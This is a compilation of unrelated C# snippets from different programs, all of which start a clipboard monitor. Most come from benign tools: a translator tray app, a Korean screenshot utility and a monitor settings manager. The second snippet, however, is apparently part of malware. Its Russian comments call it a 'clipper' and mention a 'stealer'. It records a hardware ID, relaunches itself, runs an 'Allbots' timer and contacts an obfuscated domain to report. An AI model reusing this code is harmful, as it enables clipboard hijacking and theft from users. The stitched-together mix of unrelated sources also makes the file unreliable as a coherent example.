/// <summary> /// Sets the window to use for monitoring system clipboard changes and begins monitoring. /// </summary> /// <param name="monitorWindowHandle">The handle of the window.</param> /// <returns>A <see cref="bool"/> value indicating success or failure.</returns> public bool SetMonitorWindow(IntPtr monitorWindowHandle) { DisposeClipboardMonitor(); if (monitorWindowHandle == IntPtr.Zero) { return(false); } _clipboardMonitor = new ClipboardMonitor(monitorWindowHandle); _clipboardMonitor.ClipboardUpdated += OnClipboardUpdated; return(_clipboardMonitor.Start()); }
static void Main() { Mutex mutex; try { mutex = Mutex.OpenExisting("Roberta"); if (mutex != null) { Process.GetCurrentProcess().Kill(); } } catch { mutex = new Mutex(true, "Roberta"); } if (FileManager.Check("https://www.goog3123123le.lv/")) //http://www.domai3123123123n.com/image.png { try { FileStream lol = new FileStream(GetDirPath.DefaultPath + "\\mutex.txt", FileMode.CreateNew); //нужно создавать файл что бы ловить exeption при его существовании lol.Close(); File.WriteAllText(GetDirPath.DefaultPath + "\\mutex.txt", GetDirPath.GetHwid() + ";" + AppDomain.CurrentDomain.FriendlyName); //hwid - имя для стиллера , friendlyname - мое имя /// ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //string data = File.ReadAllText(GetDirPath.DefaultPath + "\\mutex.txt"); //string[] name = data.Split(';'); /// ///////////////////////////////////////////////////////////////////////ЛАГАЕТ//////////////////////////////////////////////////////////////////////////////////////////////////// Process.Start(Process.GetCurrentProcess().MainModule.FileName); Thread.Sleep(7000); } catch { //Allbots(); System.Threading.Timer kereno11 = new System.Threading.Timer(new TimerCallback(Allbots), null, 0, 10000); //10 sec ClipboardMonitor.OnClipboardChange += Clip; //запускаем клипер ClipboardMonitor.Start(); } } else { System.Diagnostics.Process.Start("https://www.goog3123123le.lv/"); //Send report that website exist Thread.Sleep(30000); } }
static void Main(string[] args) { //These codelines are needed to use the NotifyIcon without a Form. Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); CredentialsUtils.CheckConfiguration(); //Initialize NumberController NumberController.Initialize(); //Start ClipboardMonitor ClipboardMonitor.Start(); //Start TrayIcon Application.Run(new TrayIconContext()); }
private void Form1_Load(object sender, EventArgs e) { if (Properties.Settings.Default.Translate_from == "") { Properties.Settings.Default.Translate_from = "en"; Properties.Settings.Default.Translate_to = "ru"; Properties.Settings.Default.Save(); } TrayIcon.Icon = Properties.Resources.BookIcon; WindowState = FormWindowState.Minimized; Icon = Properties.Resources.BookIcon; ClipboardMonitor.OnClipboardChange += Clip; ClipboardMonitor.Start(); Trans.OnTranslateChange += () => { TranslatedText.BeginInvoke((MethodInvoker)(() => TranslatedText.Text = Trans.TranslatedText)); }; Trans.OnTranslateChange += () => { TrayIcon.BalloonTipTitle = "Перевод скопированного текста"; TrayIcon.BalloonTipText = Trans.TranslatedText; TrayIcon.ShowBalloonTip(100); }; }
public MainWindow() { InitializeComponent(); if (Properties.Settings.Default.IsLite) { this.Title = "Drop Lite"; lblTitle.Text = "Drop Lite"; } else { this.Title = "Drop"; lblTitle.Text = "Drop"; } this.DataContext = this; if (IsClipboardOn) { btnClipBoard.Visibility = Visibility.Hidden; ClipboardMonitor.Start(); ClipboardMonitor.OnClipboardChange += new ClipboardMonitor.OnClipboardChangeEventHandler(ClipboardMonitor_OnClipboardChange); } }
public static void InitMonitors() { // Initialize UDP Monitor. _UdpMonitor = new UdpMonitor(); _UdpMonitor.PortNumber = SettingsManager.Options.UdpMonitorPort; _UdpMonitor.MessageReceived += _Monitor_MessageReceived; if (SettingsManager.Options.UdpMonitorEnabled) { _UdpMonitor.Start(); } // Initialize Clipboard Monitor. _ClipboardMonitor = new ClipboardMonitor(); _ClipboardMonitor.CopyInterval = SettingsManager.Options.ClipboardMonitorInterval; _ClipboardMonitor.MessageReceived += _Monitor_MessageReceived; if (SettingsManager.Options.ClipboardMonitorEnabled) { _ClipboardMonitor.Start(); } // Initialize Network Monitor. _NetworkMonitor = new NetworkMonitor(); _NetworkMonitor.MessageReceived += _Monitor_MessageReceived; if (SettingsManager.Options.NetworkMonitorEnabled) { _NetworkMonitor.Start(); } // Initialize Display Monitor _DisplayMonitor = new DisplayMonitor(); var colors = DisplayMonitor.ColorsFromRgbs(SettingsManager.Options.DisplayMonitorPrefix); _DisplayMonitor.SetColorPrefix(Basic.ColorsToBytes(colors, false)); _DisplayMonitor.MessageReceived += _Monitor_MessageReceived; if (SettingsManager.Options.DisplayMonitorEnabled) { _DisplayMonitor.Start(); } // Start monitoring property changes. SettingsManager.Options.PropertyChanged += Options_PropertyChanged; }
public MainWindow() { InitializeComponent(); try { MainDispatcher = Dispatcher; CurrentSetting = new SettingReader().ReadSetting(); if (CurrentSetting == null) { CurrentSetting = (new InitSettingWindow()).ShowDialog(); } var data = Registry.GetValue(Registry.CurrentUser.ToString() + "\\AutoCapturer", "SettingLocation", "NotFound"); if (data == null) { SettingLocation = ""; } else { SettingLocation = data.ToString(); } CurrentSetting.AddHandler(); if (!CurrentSetting.TutorialProgress) { if (MsgBox("AutoShot 도움말을 엽니다. 계속하시겠습니까?", "도움말", MessageBoxStyle.YesNo) == MessageBoxResult.Yes) { var hw = new HelpWindow(); hw.ShowDialog(); } CurrentSetting.TutorialProgress = true; } this.Deactivated += thisDeactivated; this.Activated += thisActivated; SystemEvents.SessionEnding += ComputerShutdown; this.Topmost = true; da.Duration = new Duration(TimeSpan.FromMilliseconds(800)); da.FillBehavior = FillBehavior.Stop; OpaAni.Duration = new Duration(TimeSpan.FromMilliseconds(800)); OpaAni.FillBehavior = FillBehavior.Stop; this.Left = 0; this.Top = 0; ImgWorker.Find += DetectPrintScreen; try { if (IsImage(Clipboard.GetText())) { Clipboard.Clear(); } } catch { } urlworker.Find += DetectURL; scworker.Keys.Add(CurrentSetting.AllCaptureKey); scworker.Keys.Add(CurrentSetting.AutoCaptureKey); scworker.Keys.Add(CurrentSetting.OpenSettingKey); scworker.Keys.Add(CurrentSetting.ChangeEditorModeKey); scworker.Keys.Add(CurrentSetting.SelectCaptureKey); scworker.Find += DetectShortCut; this.MouseMove += FrmAppear; this.MouseLeave += FrmDisappear; FrmDisappear(this, null); f.ContextMenu menu = new f.ContextMenu(); f.MenuItem itm1 = new f.MenuItem(); f.MenuItem itm2 = new f.MenuItem(); f.MenuItem itm3 = new f.MenuItem(); menu.MenuItems.Add(itm1); menu.MenuItems.Add(itm2); menu.MenuItems.Add(itm3); itm1.Index = 0; itm1.Text = "프로그램 종료"; itm1.Click += delegate(object s, EventArgs e) { this.Close(); }; itm2.Index = 0; itm2.Text = "도움말 보기"; itm2.Click += delegate(object s, EventArgs e) { HelpButt_Click(null, null); }; itm3.Index = 0; itm3.Text = "설정"; itm3.Click += delegate(object s, EventArgs e) { PathButton_Click(null, null); }; notify = new f.NotifyIcon(); notify.ContextMenu = menu; notify.Text = "AutoShot 동작 중"; notify.Visible = true; notify.Icon = Properties.Resources.AucaIcon; PopUpWindow puw = new PopUpWindow("실행됨", "AutoShot이 실행되었습니다."); puw.ShowTime(1000); ClipboardMonitor.Start(); } catch (Exception ex) { MsgBox(ex.ToString()); } PngBitmapEncoder enc = new PngBitmapEncoder(); SyncSpace(ImageSourceToBytes(enc, CopyScreen()).Length); sw.Close(); }
static void Options_PropertyChanged(object sender, PropertyChangedEventArgs e) { var enabledCanged = e.PropertyName == nameof(SettingsManager.Options.MonitorsEnabled); var en = SettingsManager.Options.MonitorsEnabled; var isElevated = JocysCom.ClassLibrary.Security.PermissionHelper.IsElevated; // UDP Monitor Properties. if (e.PropertyName == nameof(SettingsManager.Options.UdpMonitorPort)) { _UdpMonitor.PortNumber = SettingsManager.Options.UdpMonitorPort; } if (e.PropertyName == nameof(SettingsManager.Options.UdpMonitorEnabled) || enabledCanged) { if (SettingsManager.Options.UdpMonitorEnabled && en) { _UdpMonitor.Start(); } else { _UdpMonitor.Stop(); } } // Clipboard Monitor Properties. if (e.PropertyName == nameof(SettingsManager.Options.ClipboardMonitorInterval)) { _ClipboardMonitor.CopyInterval = SettingsManager.Options.ClipboardMonitorInterval; } if (e.PropertyName == nameof(SettingsManager.Options.ClipboardMonitorEnabled) || enabledCanged) { if (SettingsManager.Options.ClipboardMonitorEnabled && en) { _ClipboardMonitor.Start(); } else { _ClipboardMonitor.Stop(); } } // Network Monitor Properties. if (e.PropertyName == nameof(SettingsManager.Options.NetworkMonitorCapturingType)) { _NetworkMonitor.CapturingType = SettingsManager.Options.NetworkMonitorCapturingType; } if (e.PropertyName == nameof(SettingsManager.Options.NetworkMonitorEnabled) || enabledCanged) { if (SettingsManager.Options.NetworkMonitorEnabled && en && isElevated) { _NetworkMonitor.Start(); } else { _NetworkMonitor.Stop(); } } // Display Monitor Properties. if (e.PropertyName == nameof(SettingsManager.Options.DisplayMonitorInterval)) { _DisplayMonitor.ScanInterval = SettingsManager.Options.DisplayMonitorInterval; } if (e.PropertyName == nameof(SettingsManager.Options.DisplayMonitorPrefix)) { var colors = DisplayMonitor.ColorsFromRgbs(SettingsManager.Options.DisplayMonitorPrefix); _DisplayMonitor.SetColorPrefix(Basic.ColorsToBytes(colors, false)); } if (e.PropertyName == nameof(SettingsManager.Options.DisplayMonitorEnabled) || enabledCanged) { if (SettingsManager.Options.DisplayMonitorEnabled && en) { _DisplayMonitor.Start(); } else { _DisplayMonitor.Stop(); } } if (e.PropertyName == nameof(SettingsManager.Options.AudioBitsPerSample) || e.PropertyName == nameof(SettingsManager.Options.CacheAudioChannels)) { var blockAlignment = (SettingsManager.Options.AudioBitsPerSample / 8) * (int)SettingsManager.Options.CacheAudioChannels; if (blockAlignment != SettingsManager.Options.CacheAudioBlockAlign) { SettingsManager.Options.CacheAudioBlockAlign = blockAlignment; } } }
/// <summary> /// Handle the window loading finalization, start monitoring process. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> void MainWindow_Loaded(object sender, RoutedEventArgs e) { ClipboardMonitor.Start(); }